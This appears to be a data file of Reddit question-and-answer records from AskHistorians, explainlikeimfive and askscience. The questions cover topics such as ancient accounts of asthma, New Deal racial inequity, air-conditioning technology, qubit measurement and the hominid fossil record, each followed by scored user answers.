{"q_id": "1cjffy", "title": "What was the earliest recorded mention of ailments such as asthma and hay-fever? Have they been around for the majority of human civilization, or are they a more modern occurance?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1cjffy/what_was_the_earliest_recorded_mention_of/", "answers": {"a_id": ["c9hheq1"], "score": [2], "text": ["Quite a while back actually! Such ailments with strikingly similar symptoms have been described in ancient Mesopotamian writings. I recently learned of this in my Ancient Civilizations class.\n\nAlbrecht Goetze of Yale University wrote, while perusing cuneiform tablets, of mention of persons being afflicted with symptoms including incessant coughing with shortness of breath, commonly found in those suffering of asthma.\n\nLise Manniche also published \"Sacred luxuries : fragrance, aromatherapy, and cosmetics in Ancient Egypt\", where she described an incense mixture known as \"kyphi\" used for treating asthma in Ancient Egypt.\n\nLet me know if you would require any more information regarding the matter.\n\nHope this helps!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5kgjw0", "title": "how does the _url_0_ door knocking audio clip do such a good job of making it sound like the audio doesn't come from your headphones?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5kgjw0/eli5_how_does_the_puush_door_knocking_audio_clip/", "answers": {"a_id": ["dbnrjzc"], "score": [8], "text": ["Ha, had the speakers on when I played that audio clip and the cat **freaked** out. Apparently that knock knock fools animals into thinking someone's at the front door too.\n\nYour brain determines the location of a sound's source by a few different factors. Namely, distortion differences between each ear, and delay in which ear hears the sound first. Technology has gotten good enough that with proper equipment it can re-create those effects and trick your brain. We usually use the term \"binaural\" as in \"Two ear\" to describe the effect.\n\nOne of the most famous examples of binaurual audio is the \"Virtual haircut\" clip _URL_0_ where they demo a technology designed to create the effect. Lots of ASMR artists and other people do it too, one popular device these days is [a 3Dio twin mic setup such as this](_URL_1_). With two microphones and extremely accurate recreation of the human ear shape (it affects how sound bounces about), you can recreate a whole room's soundscape effectively."]}, "title_urls": ["puu.sh"], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=IUDTlvagjJA", "https://images-na.ssl-images-amazon.com/images/I/51C0-nd-z5L._SX466_.jpg"]]}
{"q_id": "c42gv5", "title": "why does your hand turn red/orange when you shine a flashlight behind it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c42gv5/eli5_why_does_your_hand_turn_redorange_when_you/", "answers": {"a_id": ["erul6ym", "erul87h", "erulcag", "ervk8zp"], "score": [5, 5, 11, 2], "text": ["that's your blood, when you shine a bright light at any part of you body, if it can reach the other side it will turn orange/red from the blood in your veins!", "Because skin is somewhat transparent, your hand isn't very thick, and those two things allow the light to shine through. Blood and tissue tints the light to reddish.", "Sub-surface scattering. Light passes through your skin, bounces around your blood cells and whatnot, and (if the light is powerful enough) comes out the other side, where you see it as red/orange due to the color of the blood it passes through.", "Because the light rays are so intense, that they travel through your hand and come out again. When you usually see your Hand, that are light rays bouncing off from your Skin.\n\nBut not all light rays come out again. Mostly the red light rays come out, as the other coloured rays get absorbed in your hand. That is because your hand has very much blood in it which has the color red.* That's why it turns red.\n\n*) To be exactly: Blood is \"red\" BECAUSE the other coloured light rays get absorbed, and not the other way around."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3rq7qe", "title": "why will a seafood company sell me shrimp that has been cooked, peeled and deveined... but not take the tail off?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rq7qe/eli5_why_will_a_seafood_company_sell_me_shrimp/", "answers": {"a_id": ["cwqd3xa", "cwqe4wj", "cwqeuir"], "score": [36, 24, 3], "text": ["Because the tail provides a convenient little handle with which to dip the shrimp into cocktail sauce.", "Because that little tail adds weight and shrimp is sold by the pound/kilo.\n\nNext time you go to the store and see packaged shrimp look at the fractal number next to the weight.\n\nThe USDA requires that there be a minimum to maximum amount of shrimp per pound.\n\nThis is how we get the classification of \"jumbo\", \"colossal\", etc.\n\nCocktail sauce: went to college for culinary arts.", "It adds weight. If you buy raw shrimp, you will find that it sometimes is frozen. They wash it before freezing, so that the ice n shrimp adds some weight, too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2ecggl", "title": "Did blacks have the same opportunities as whites to benefit from New Deal programs?", "selftext": "I know FDR was not known for pushing hard on racial progress, but did his programs afford blacks the same opportunities as whites?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2ecggl/did_blacks_have_the_same_opportunities_as_whites/", "answers": {"a_id": ["cjycqa3", "ck027q3"], "score": [6, 3], "text": ["An excellent source for this question is Ira Katznelson's \"When Affirmative Action Was White.\" The short answer is that, no, Black Americans were not afforded the same opportunities as White Americans during the New Deal and other social programs that began after WWII (like FHA mortgage assistance). This was a function of the fact that many of the programs were administered at the state or local level, which meant that (especially in the South) Black Americans were subject to the prejudices of the local governments. ", "In the New Deal historiography, the primary critique of the New Deal among many Marxist and New Left historians was just as you stated: that the New Deal failed minorities.  The best of these works, among the many that I'll list below, is William Leuchtenburg's 1963 *Franklin D. Roosevelt and the New Deal, 1932-1940*, in which he argues that the New Deal only represented a \"halfway revolution\" because it did not reach (or even try, in many cases) \"slum dwellers, sharecroppers, and most negroes (232, 347).\"  Others, notably Barton Bernstein in a 1968 essay, blasted the New Deal for simply propping up or \"rescuing\" the capitalist structure of corporate liberalism and failing the truly Depression-stricken...especially minorities.\n\nIn a nutshell, the largest criticism from the post-1950s left regarding the New Deal is that it did little to actually serve citizens that needed it most.  Even one of its flagship programs, the Tennessee Valley Authority, created to be a bureaucratic, apolitical, racially progressive beacon of the New Deal, continually ignored its own racial policies while only strengthening the wealthy farmers and business people of the Tennessee Valley via its planning/utility programs.  See Nancy L. Grant's *TVA and Black Americans: Planning for the Status Quo* (1990) for more information about this. \n\nThis response is to serve as support for one of the previous answers that decentralized, locally-run New Deal programs reflected that area's bias toward race...not to ignore it.\n\nSee also: Ellis Hawley's *The New Deal and the Problem of Monopoly: A Study in Economic Ambivanlence* (1966); Bernstein's \"The New Deal: The Conservative Achievements of Liberal Reform,\" in *Towards a New Past: Dissenting Essays in American History*; Michael Hiltzik's *The New Deal: A Modern History* (2011)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3rchvh", "title": "at what point in history do we go from confidently knowing exactly what life was like/events that took place to assuming what happened and having to approximate when things happened? and why?", "selftext": "We know what life was like 100 years ago but we have to constantly rely on discovering new artifacts to know what the Myans lived like around 2600 B.C. At what point do we go from knowing to having to discover? and why?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3rchvh/eli5_at_what_point_in_history_do_we_go_from/", "answers": {"a_id": ["cwmtbmz", "cwmua5f"], "score": [6, 2], "text": ["There is no actual point in time. There is only the evidence for any particular place and time\n\nFor example for 100 years ago there is a wealth of evidence, and yet historians still constantly argue the detail for events at that time . WW1 still  has  detail that has been \"lost\" but which  archaeologiss  and historians still search for.\n\nWhat you may be looking for, is how when so little is known (I.e. Myans) that a comparatively small amount of evidence produces a comparatively large amount of understanding against what  is not known\n\n", "There is no binary. We can be more or less confident based on the amount of evidence there is available. \n\nThe reason that we have less evidence about, e.g. the Mayans compared to what we know about, e.g. the late Victorians, the answer is that (a) modern civilizations tend to create documentary evidence on a far vaster scale than ancient ones and (b) documentary evidence tends to 'decay' over time, which means that the longer the intervening period betewen 'now' and 'then', the lower the percentage of primary evidence that survives.\n\nTwo caveats:\n1. Different regions of the world will have different amounts of evidence, even at the same time. Compare the amount of evidence for late Victorian Britain to the amount for the jungle-dwelling tribes of Borneo at the same time.\n2. There are some aspects of history that no amount of evidence will ever explain. Why did Napoleon continue on to Moscow after the Batttle of Borodino? Even if we had the best evidence we could hope for, e.g. Napoleon's own diary, do we /really/ know why he did what he did?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1e7rlf", "title": "Air conditioners haven't changed much in 50 years. Why are they still so large, noisy, and expensive to operate? Are there any breakthroughs on the horizon?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1e7rlf/air_conditioners_havent_changed_much_in_50_years/", "answers": {"a_id": ["c9xl82l", "c9xlc6m", "c9xm33u", "c9xo742", "c9xoyd7", "c9xp5mv", "c9xpsep", "c9xq3yc", "c9xq7ob", "c9xqleu", "c9xqslt"], "score": [90, 301, 10, 20, 9, 12, 58, 12, 2, 4, 2], "text": ["Refrigerants (the fluid/gas inside the AC unit) have changed a lot recently. Most notably they are much less hazardous to the environment. Insulation in houses has gotten a lot better. But the refrigerator itself remains the same. Basically just a pump which requires a lot of energy to run.", "Well, thermodynamics is a harsh mistress.\n\nIn commercial building systems there are a lot of movements towards geothermal and/or ground cooling.   Geothermal basically consists of sinking a bunch (a high school I worked on had about 150 under the tennis courts) of wells that you pump a fluid through.   This gives you a constant temperature fluid to either heat or cool against.  In the winter you extract the heat from the fluid, in the summer you pump your extra heat into the fluid.\n\nGround cooling consists of putting a concrete duct under the building on the intake air.   Since the ground under the building is roughly 55F (around 13C), the air is cooled a bit before it hits the air handlers.   ", "On the less-noisy front, there are solid-state devices that use [thermoelectric cooling](_URL_0_). Unfortunately, they are much more expensive and less efficient than regular air conditioners, so they only find use in specialized applications.", "The biggest change is in the use of scroll compressors instead of reciprocating compressors. This is especially true in commercial HVAC and higher end residential units. The small to medium sized centrifugal compressors used in buildings sometimes have magnetic bearings now.\n\nOthers than these (and better controls, eg. variable speed drives), everything has stayed the same; it is a mature industry .", "A trend that's apparently spreading is the Asian-style unit where an external compression/hot-side exchanger is connected to small cold-side exchanger/fan units inside the house. The connection is by insulated pipes for the liquified coolant, which take up much less space. These systems allow much more flexible cooling in that you can choose which rooms to cool, or even set different thermostats in different areas. They do tend to look weird hanging on the wall, though.", "DEVAP (Desiccant-Enhanced Evaporative) cooling is a recent development for commercial air-conditioning. I don't know too much about the specifics of it, but I used to work for a company that helped develop the technology. Basically it combines evaporative cooling with a system to dehumidify the air first, allowing it to work in wetter climates. It's also supposed to be significantly more efficient. Here is a description from NREL's website:\n\n\"The technology cools \nincoming hot, dry air by evaporating water into it. \nThe energy absorbed by the water as it evaporates, \nknown as the latent heat of vaporization, cools the \nair while humidifying it... DEVAP extends the applicability of evaporative cooling by first using a liquid desiccant\u2014a water-absorbing material\u2014to dry the air. The dry air is then passed \nto an indirect evaporative cooling stage, in which the \nincoming air is in thermal contact with a moistened \nsurface that evaporates the water into a separate\nair stream. As the evaporation cools the moistened \nsurface, it draws heat from the incoming air without \nadding humidity to it.\"\n\n[Here's an article](_URL_0_) explaining it in simple terms as well.\n\nSource: \n\n_URL_1_", "The problem with heat is that you can't really turn it into something else and make use of that. The only thing we can really do is move it around.\n\nHeating is really easy. It's very easy to make heat out of damn near anything we want. Rubbing two things together will make heat, electricity can make heat, burning things makes heat, it's great.\n\nHowever cooling things down (removing heat) means we need to take the heat from one location and move it to another location. That's basically how most common refrigeration systems still work, as the concepts haven't changed and aren't going to.\n\nAll of the other ideas discussed in this thread are fancypants ways of moving heat around. Geothermal systems move heat into the earth, where it's very easily dissipated. DEVAP uses water to move the heat around. This process of shuffling heat to and fro will never change, unless we come up with some crazy way of turning heat into something else.\n\nThe holy grail would probably be heat directly into electricity. That'd be pretty damn cool.", "Well, The Maxwell Corporation introduced a new line of air conditionner dubbed \u201c[Deemon](_URL_0_)\u201d, which take a totally novel approach to air conditionning.\n\nInstead of using a compressor and a heat-bearing fluid, it simply puts an invisible barrier which sends the slow-moving molecules on one side, and the fast-moving molecules on the other side, effectively cooling one part of the room and heating the other one.\n\nThe normal window units put the barrier in the window, so the cool side is inside and the warm side is outside.", "The issue with refrigeration is that there is a [system](_URL_0_) that has to be contained. There is some research on [Magnetic Refrigeration systems](_URL_1_) that could limit the amount of electricity utilized. ", "Live somewhere dry.  We've got swamp coolers that are like 75% more efficient than air conditioning.\n\n[This graph](_URL_0_) shows what kind of temperature/humidity you could reasonably use a swamp cooler in.", "As to breakthroughs, [here's a group](_URL_0_) I know working on improving cooling systems. Though their technologies would only be useful for large-scale applications like warehouses and high-rises.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Thermoelectric_cooling"], [], [], ["http://www.businessinsider.com/desiccant-enhanced-evaporative-devap-air-conditioning-cycle-2012-6", "http://www.nrel.gov/buildings/pdfs/55740.pdf"], [], ["http://en.wikipedia.org/wiki/Maxwell's_demon"], ["http://www.swtc.edu/ag_power/air_conditioning/lecture/basic_cycle.htm", "http://www.eurekalert.org/features/doe/2001-11/dl-mrs062802.php"], ["http://www.consumerenergycenter.org/home/heating_cooling/images/evap_chart3.gif"], ["http://www.telegram.com/apps/pbcs.dll/article?AID=/20100831/NEWS/8310335/1237"]]}
{"q_id": "6mqfoi", "title": "how does a twin \"absorb\" the other twin in the womb?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6mqfoi/eli5_how_does_a_twin_absorb_the_other_twin_in_the/", "answers": {"a_id": ["dk3lf0b", "dk3qop7"], "score": [3, 12], "text": ["I haven't found a definitive answer to this, but it seems that in some cases one twin dies and is resorbed by the mother's body, as opposed to one twin absorbing the other. On the other hand, the phenomena of conjoined twins, parasitic twins and genetic chimerism indicate that there is a potential for embryos to combine in weird ways. This is a difficult phenomenon to study because of the ethical concerns of experimentation on humans. Most of the papers that I have found about vanishing twins are concerned with the viability of the surviving twin and very few have anything to say about how or why one twin vanishes.", "In the very early phases of the developing embryo like the blastocyst it's just a ball of undifferentiated cells.  There hasn't been any activity yet to distinguish the individual components: what's going to be the front or the back?  Which end is the head and which end is the butt?\n\nBecause there's no distinction between individual parts or the destinies of individual cells yet, the embryo has a very high ability to tolerate gains/losses of cells.  This can lead to the absorption of another embryo where the cells of both lines intermingle more or less evenly with each other.  This leads to what's called a \"chimeric\" organism."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6bn96x", "title": "why did cellphones only become popular recently in the last decade when walkie talkies and transistor radios were available long before?", "selftext": "Cellphones only started to become popular after the mid 2000s but as a kid in the 90s we had walkie talkies. Did it take a long time for the technology of radios used by the army to become available for home use?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6bn96x/eli5_why_did_cellphones_only_become_popular/", "answers": {"a_id": ["dho01fm", "dho05r4", "dho0a42", "dho0ix8"], "score": [2, 5, 4, 4], "text": ["Walkie talkies and shortwave/ham radio are specialized equipment and don't have nearly the advantages and ease of use that a cellphone does. Bulky equipment, short range, limited battery life, and limited connectivity, whereas a cellphone is much more versatile and easy to use.", "The main problem with walkie talkies is range. Walkie talkies are only limited to a few kilometers, and they need to broadcast a very powerful signal. The farther you are, the more powerful the signal needs to be.\n\nThe main innovation of cellular phones is the cellular part. When you call someone, your phone doesn't directly connect with their phone. Instead, your phone connects to a cellphone tower in its vicinity, while the recipient is also connected to a cellphone tower in their vicinity. The two cellphone towers are physically connected through a series of wires (well, not directly, they pass through a switching center). This way each phone only has to have a signal powerful enough to reach the closest cellphone tower.", " >  Did it take a long time for the technology of radios used by the army to become available for home use?\n\nNo, but it took a long time for the price of cell phones to drop and it also took a while for cell carriers to have coverage in enough places to justify the cost of the device and the calling plan that came with it. ", "Up until 80s when the first cell phones became available, radios and walkie-talkies weren't common.\n\nPolice cruisers would have a radio, but individual police would not. This is because they were so large and required such large batteries that they would prohibit certain movements.\n\nHence why early cellphones were car phojes and bag phones, never meant to be truly mobile but keant to be transferred from home to car with a few minutes of life away from a power source.\n\nIt wasn't until the late 80s and into the 90s that they became smaller and powrr sources became more efficient that you could have them on your person and not be prohibited by the size and weight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6ppbya", "title": "What process does a Quantum computer undergo, at an atomic level, to \"read\" Qubits, and how do the Qubits collapse into the state which solves the task?", "selftext": "I'm doing a project on Quantum Computing and I've hit a bit of a wall when it comes to Qubits being in the \"right\" state as it were.\n\nAs an example, if a Quantum computer were asked to find the two prime factors of a number (like in decryption/encryption), how would the Quantum computer read the selection of Qubits to give the correct solution?\n\nThe only way I can think of this happening is to have a selection of logic gates that somehow collapse the Qubit into the correct state when observed; however, I'm not too sure how this actually would work with Qubits.\n\nAny overview/condensed answers would be as much appreciated as those which go into a more atomic/chemical depth about how it would all physically function.\n\nCheers!", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6ppbya/what_process_does_a_quantum_computer_undergo_at/", "answers": {"a_id": ["dkrchez", "dkrm8o8"], "score": [14, 7], "text": ["I am not entirely qualified to answer this, so please correct me if I'm wrong and I hope someone answers you more in depth.\n\nYou need to keep in mind that collapsing a quantum state is done with respect to a basis, but that doesn't mean that you create the  state out of nowhere, the system already is in a given state, which will be the result of whatever calculation/gates you've done, and that is the \"correct\" state, the task is solved through the interaction of quantum states, no collapsing involved! So what you need to do is read out the final state the system is at after all calculations have been done.\n\nAs to how that's done, it depends on the  system and what is used as qubits, there's spin qubits, qubits made of pollarized light etc.\n\nUsually you just need to use the tools and measurements available to you in the experimental set-up  to try to find out information about the state of the system.\n\nFor example, when it comes to using electrons spins as qubits,  [Loss  &  Divicenzo](_URL_0_) proposed getting the electrons into a quantum dot with a given set of magnetic properties so that it would be influenced by the electron spin, and then you would measure the magnetization of the whole dot. Similarly, you can measure the current that flows through the system which is usually heavily affected by the spin state of the electrons, or the charge distribution, and figure out what state the system must be in for that to happen.\n\nSo, generally from what I know, you don't just simply collapse the system by measuring it directly, you just create an experimental set-up where by measuring properties of the system, you can reverse engineer the quantum state it is in.\n\nAgain, the in depth explanation about how that's done would depend on what is being used as qubits, how the computer is designed etc, there's tons of papers that focus on understanding how different qubit states affect physical measurable properties of the systems just to help create different trustworthy read-out options.\n", "I too am not really qualified to answer, but I have some experience with atoms in optical cavities which is essentially qubits interacting which each other.\n\n\nReading out qubits is not really different from reading out normal bits but instad of 1 and 0, qubits contain a linear superposition a|0 >  + b|1 >  which essentially means, if you read out a bit with that state, you will read a \"0\" with a probability |a\u00b2| and a 1 with a probability |\"b\u00b2\"|\n\n\nThere's not more to it than that.\n\n\nI don't know anything anything about quantum algorithms, but in general they will probably deliver a result with cubits in states that are 1|0 >   + 0|1 >   (or  0|0 >   + 1|1 >  )\nWhich means you have a 100% probability of reading \"0\"  (or 1 for the case in brackets).\n\n\n\nIf for some reason a quantum algorithm results in a specific qubit superposition with specific a and b values, then to obtain those a an b values, you literally have to repeat your algorithm and use some statistics.\nThere are some complications with that because a and b are complex numbers. So you can know the magnitude but not the phase."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://arxiv.org/pdf/cond-mat/9701055.pdf"], []]}
{"q_id": "2dyh7c", "title": "would early proto-hominids be attracted to today's woman?", "selftext": "further back then the neandarthal, farther from where we diverged from chimps", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dyh7c/eli5_would_early_protohominids_be_attracted_to/", "answers": {"a_id": ["cjubq8g", "cjudgyz"], "score": [3, 2], "text": ["Fact, neanderthals and pre modern humans mated. We likely mated with denisovens. So, yeah, probably. ", "Probably not. Today's humans have advanced sufficiently far enough that we don't breed for evolutionary advantages. Proto hominids wouldn't recognize what we consider as attractive on modern humans as beneficial to the species survival and would look for another mate. You wouldn't even have to travel that far back in time to where modern women would be considered unattractive. Just go back several hundred years and being skinny would be a negative feature."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "tta85", "title": "Evolutionist here, with a question that's always bugged me; why isn't there more fossil evidence of early humanoids?", "selftext": "I know that \"Lucy\" was a huge find in the search for missing links, and that there have been several other skeletons discovered since then that all represent various steps along the human evolutionary path. Most of the time, however, a lot of pieces are missing, the bones are severely degraded, or only a piece of a skull is found.\nWe have fossils of so many other things; animals, plants, even some invertebrates, stretching back from the earliest years of the earth, up until the ice age and beyond. Why is the early human fossil record so limited when we have entire mammoths found frozen in the ice, or tiny delicate leaves that have survive fossilization?\n\nEDIT: I seem to have offended some people by using the term \"evolutionist\". I know evolution is not a \"belief\"; I chose the term to introduce the subject of the question, because I didn't want to say \"I believe in evolution, BUT...\". Sorry if the phrasing insulted, confused, or otherwise bothered anyone.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tta85/evolutionist_here_with_a_question_thats_always/", "answers": {"a_id": ["c4piuw0", "c4pix3f", "c4pmqfa", "c4poabj"], "score": [28, 136, 2, 5], "text": ["Because early human populations were small and they lived in regions that were not physically conducive to fossilization.", "Great question, but some of your reasoning is a bit out dated. We don't really talk about \"missing links\" anymore. Lucy was her own species, an offshoot of a common ancestor that she and humans share. We never came from Lucy, humans developed over time through our last common ancestor with her. This last common ancestor was not Lucy's species ([Australopithecus afarensis](_URL_0_) and was not us. When we look at Lucy's characteristics we infer what the last common ancestor of her and humans would have been like. We suppose that this last common ancestor looked more like her then us. The more fossils we find, the clearer the picture becomes. \n\nAnd in fact we have found way more then just a few fragments. Hundreds of [homo](_URL_2_) and australopithecine bones have been found. Yes, a few select species only have one representative. For example here is a partial list of the specimens we have of [A. afarensis](_URL_1_). [Here is a more complete list for every species](_URL_4_)\n\n > Why is the early human fossil record so limited when we have entire mammoths found frozen in the ice, or tiny delicate leaves that have survive fossilization?\n\nIts because of the location. For a fossil to form its all about location location location. Some environments facilitate the fossilization process better than others. Rainforest ecosystems are really bad for fossilization, and this is where our earliest ancestors were found. We also have very few fossils of other ape species like chimps, bonobos, organ-utans because these all live the the same rainforest environments. Perhaps as we transitioned onto a more savannah like ecosystem, fossils would have been better preserved...unfortunately its not a simple as what ecosystem the species inhabits, other factors come into play.\n\nFor instance: if a creature simply dies its very likely to become scavenged by animals which leads to further degrading, moving or destroying the bones. Alternatively the best way to preserve whole specimens is through some cataclysm event, like a mudslide or volcano explosion. Fossils also prefer areas where there is little oxygen, because oxygen facilitates the breakdown of bone before it can mineralize, the best environments are muddy, the bottom of the ocean, tar pits or ice. Unfortunately, those are not usually found in a rainforest environment. \n\nWe also have to consider that we are looking at a very small time frame, geologically speaking its about 6 million years since our last common ancestor with chimps vs. hundreds of millions of years of fossils for the rest of the history of life. We are also looking in a very specific region of Africa, vs. all the other fossils we are looking for are found all over the globe. Moreover, you don't always need a large sample size when it comes to bones. A small fragment can tell a hell of a story. For instance, the [Denisovians](_URL_3_) have three samples: a finger bone, a toe bone and a tooth. But doing mtDNA analysis on these has revealed that while they were likely a separate species, we may have interbred with them.", "This is a question that has bounced around since the beginning of the notion of the evolution of species.\n\nEssentially, the conditions required to actually produce a fossil record of anything are exceedingly rare, especially if the species lives on land and even more difficult if the species is not overly large.  Volcanoes, landslides and other cataclysmic events that result in large amounts of debris falling over a very limited amount of time, with subsequent compression are about the only ways to create a long-lasting fossil record.  \n\nThe fact that there *are* actual fossil records of any early hominids, and considering the conditions required to create them, the fact that we've been able to find as much as we have, perform genetic testing ( which shows shared genetic markers), is truly amazing and lends a lot of weight to any argument. ", "Just a little protip in response to a lot of now-deleted comments: in /r/askscience you'll get better results if you leave *yourself* out of the question altogether."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Lucy_(Australopithecus)", "http://en.wikipedia.org/wiki/Australopithecus_afarensis", "http://en.wikipedia.org/wiki/Homo", "http://en.wikipedia.org/wiki/Denisova_hominin", "http://en.wikipedia.org/wiki/List_of_human_evolution_fossils"], [], []]}
{"q_id": "2i8q9c", "title": "Was there a concept of 'archaeology' before the industrial revolution? Would someone in medieval France discover and preserve Roman artifacts, for example?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2i8q9c/was_there_a_concept_of_archaeology_before_the/", "answers": {"a_id": ["ckzymn9"], "score": [4], "text": ["No, there was not, at least not archaeology as we understand it today.\n\nThe recent book by James Turner, \"Philology: The Forgotten Origins of the Modern Humanities\" explores in remarkable depth and breadth how the modern notions of most humanities 'disciplines', and the very idea of disciplines, emerged through the 19th and 20th century. He primarily deals with the English-speaking world, but also traces the influence and interaction with Germany. \n\nEssentially what turned archaeology into a discipline was a shift from simply 'collecting' artworks (that was what used to be mainly collected), to systematically excavating sites, cataloguing and categorising what was found. Whereas even at the start of the 19th century, collection of artefacts occured, but mainly because they were deemed priceless artworks worthy of preservation, and at best because artworks were types of 'texts' that could be studied, not because there was a concept of studying the past through systematic analysis of sites.\n\nPrior to the 19th century you had the idea of Antiquarianism, which would just collect everything: artefacts, texts, study topography, to produce a general study of the past, it is not really until you get into the 19th century that a more distinct divide separates study of texts from study of objects.\n\nTo go right back to the Medieval period, there was definitely not a sense of archaeology then. Even concepts of historical progress and different historical periods can be vague. \n\n...I have to run out the door but I will explain more on this later."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2ycokr", "title": "in alien blue why do album pictures load so slow and inconsistent compared to single images?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ycokr/eli5_in_alien_blue_why_do_album_pictures_load_so/", "answers": {"a_id": ["cp8a1ce"], "score": [2], "text": ["I am also curious."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2xe1l2", "title": "Since the formation of Israel, what lasting positive impact has Western intervention in the Middle East had?", "selftext": "(Rewording a question that was previously removed \u2014 I hope it meets the requirements of the sub.)", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2xe1l2/since_the_formation_of_israel_what_lasting/", "answers": {"a_id": ["cozkdf0"], "score": [2], "text": ["Unfortunately, I'm going to just tell you there is no way to answer this question.\n\nIt requires working with counterfactuals. How can I know if Western intervention did something good, when we don't know if non-intervention would have done better? We can't, unfortunately. This is a political, not a historical question.\n\nFurther, this is way, way too broad. It's a \"throughout history\" question (because it focuses on 60+ years of extremely fraught history), it doesn't specify any issue to talk about, and it's generally just too wide for a real response. You should consider reasking about specific events, and what direct effects we can observe: not whether the impact is overall positive."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "298v20", "title": "Why was the Treaty of London(1839) important for the UK?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/298v20/why_was_the_treaty_of_london1839_important_for/", "answers": {"a_id": ["ciiwn1k"], "score": [2], "text": ["Belgian neutrality was important for Britain to ensure that they had a road to Europe for trade. Ships were the main vehicle of long-distance trade and they need a port to dock into - places in Belgium were ideal for this, and for obvious reasons, Britain did not want these ports to fall into the hands of their enemies (chiefly France). Hence, it was important for the economy for Belgium to stay neutral, which the Treaty of London did. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3pj8dr", "title": "Is it true that bread dipped in wine vinegar was a common snack for poor people in Rome?", "selftext": "Classical period to be exact", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/3pj8dr/is_it_true_that_bread_dipped_in_wine_vinegar_was/", "answers": {"a_id": ["cw7ulj3"], "score": [5], "text": ["This is a hard question to answer. You see, in the past texts on what people ate in more detail than \"bread, cheese, pottage, etc\" was difficult to come by. In Roman classical period if becomes even more difficult. Cookbooks (or what could vaguely be called one by modern standards) were written entirely by the wealthy upperclassmen who would rather put interesting or complex dishes in their works than a simple sops (bread with liquid).\n\nThe closest to your answer I can give (according to late antiquity) is from the Gospel of John. 13:21-26.\n\n > When Jesus had thus said, he was troubled in spirit, and testified, and said, Verily, verily, I say unto you, that one of you shall betray me. Then the disciples looked one on another, doubting of whom he spake. Now there was leaning on Jesus' bosom one of his disciples, whom Jesus loved. Simon Peter therefore beckoned to him, that he should ask who it should be of whom he spake. He then lying on Jesus' breast saith unto him, Lord, who is it? Jesus answered, He it is, to whom I shall give a **sop**, when I have dipped it. And when he had dipped the **sop**, he gave it to Judas Iscariot, the son of Simon.\n\nSop could reference anything from bread and vinegar to bread and fine wine, so it is a bit vague. However, what this does tell us, since the Gospel of John was written 90-100 AD in the eastern Mediterranean (a well populated roman province) we can extrapolate that **sops** were a well understood (maybe even ubiquitous) foodstuff in the area and thus of much of Rome, especially with how simple it is.\n\nSorry if this doesn't tell you much, but the time was so long ago and culinary writings were in their infancy."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
